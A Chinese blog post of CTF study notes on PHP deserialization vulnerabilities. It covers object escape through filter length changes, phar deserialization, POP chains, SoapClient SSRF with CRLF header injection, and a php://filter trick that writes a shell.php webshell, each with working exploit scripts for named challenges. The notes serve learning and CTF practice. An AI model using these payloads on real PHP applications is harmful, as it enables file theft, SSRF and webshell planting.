ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

PHP反序列化漏洞学习小结

2022-05-09 18:34:04  阅读:248  来源: 互联网

标签:__ PHP string phar str 序列化 小结 php


PHP反序列化漏洞笔记

前言:根据BUU的一些题和一些学习过的文章记下来的各个知识点

1.反序列化的对象逃逸

  • 第一种为关键词数增加
    例如: where->hacker,这样词数由五个增加到6个
  • 第二种为关键词数减少
    例如:直接过滤掉一些关键词,例如easy_serialize_php

都是一样的思路,通过序列化后的字符串长度大小来构造有效序列化字符串,有点绕口,直接看这道题就好了

_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}'<?php
$function = @$_GET['f'];
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);//这里可以通过POST传值,然后将$_SEESION值更改为黑名单中的字符串造成逃逸 如:_SESSION['flagflag']=";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));//反序列化的对象逃逸发生
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

第二道此类型的题:piapiapia2016

看到这个代码就会想起来怎么做的~

<?php
$profile['phone'] = '12312312312';
$profile['email'] = '123@123.com';
$profile['nickname'] = 'wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';


function filter($string) { # 单引号,双斜杠 'select', 'insert', 'update', 'delete', 'where'
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$a = serialize($profile)."\n";
echo $a;
echo filter(serialize($profile))."\n";


2.protected,private的不可见字符的绕过

绕过方法

  • php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
  • 手动添加\x00:private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

例题

极客大挑战2019PHP

[[网鼎杯 2020 青龙组]AreUSerialz](https://buuoj.cn/challenges#[网鼎杯 2020 青龙组]AreUSerialz)

3.serialize(unserialize($x)) != $x

这是看这篇文章看到的

https://www.anquanke.com/post/id/251366#h2-0

4.phar反序列

(51条消息) Phar反序列化_xiaolong22333的博客-CSDN博客_phar反序列化

可以利用的函数:

img

5.pop链

pop链的构造就是利用各个类的函数将各个类链接起来

4和5的例题

[(51条消息) SWPUCTF 2018]SimplePHP_Mhu1的博客-CSDN博客

可以看下此exp的编写
<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a = new C1e4r();
$b = new Show();
$c = new Test();

#pop链: C1e4r::__destruct->Show::__tostring->Test::->__get
$c->params=array("source"=>"/var/www/html/f1ag.php");#获取到f1ag.php内容为base64
$b->str['str']=$c;#通过__tostring里会访问str['str']的source这个属性,而Test类又没有source属性,去调用Test类的__get函数
$a->str=$b;#通过__destruct里会访问str这个属性来调用String的__tostring函数

$phar = new Phar("po2.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$phar->setMetadata($a);
$phar->addFromString("po.txt", "po");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();




?>

这道题也很有意思结合了死亡绕过和pop构造写入webshell

[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[EIS 2019]EzPOP)

[EIS 2019]EzPOP - 夜幕下的灯火阑珊 - 博客园 (cnblogs.com)

6.魔术方法

7.php原生类(ctf常见)

在题目给的的代码中找不到可利用的类时,这个时候考虑使用php中的一些原生类有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化。

7.1soap

看看P牛新浪某站CRLF Injection导致的安全问题 | 离别歌 (leavesongs.com)

这里需要有个前提是php是安装了php_soap.dll的

再ctfshow的web259遇到了相关的题目ctf.show

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();


$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

题目的中心想法就是利用Soap这个类来进行ssrf

payload模板

<!--再php.ini中将extension=php_soap.dll前面的分号去掉,否则无法执行成功-->
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$y = new SoapClient(null,array('location' => $target,'user_agent'=>'test^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "flag"));
$x = serialize($y);
$x = str_replace('^^',"\r\n",$x);
echo urlencode($x);
?>

7.2Error/Exception

7.3Globlterator

8.死亡绕过

[BUUCTF在线评测 (buuoj.cn)](https://buuoj.cn/challenges#[羊城杯 2020]EasySer)

  • string.strip.tags配合filter协议

write写入 resource数据来源 read参数值可为 string.strip_tags: 将数据流中的所有html(php)标签清除,即可把<?php die("nononon");?>先删除

exp:
<?php
class GWHT{
    public $hero;
    public function __toString(){
        if (isset($this->hero)){
            return $this->hero->hasaki();
        }else{
            return "You don't look very happy";
        }
    }
}
class Yongen{ //flag.php
    public $file='php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
    public $text='YmFzZTY0Y29kZQ==';
    public function hasaki(){
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
        echo $a."\n";
        echo strip_tags($a)."\n";
        @file_put_contents($this-> file,$a);
    }
}

$a = new Yongen();
$b = new GWHT();
$b->hero =$a;
echo $b;
//echo serialize($b);

?>

这题比较怪的点是反序列的利用点没有给到,wp说的是用arjun扫出来的参数

标签:__,PHP,string,phar,str,序列化,小结,php
来源: https://www.cnblogs.com/yuxiazhengye/p/16250327.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有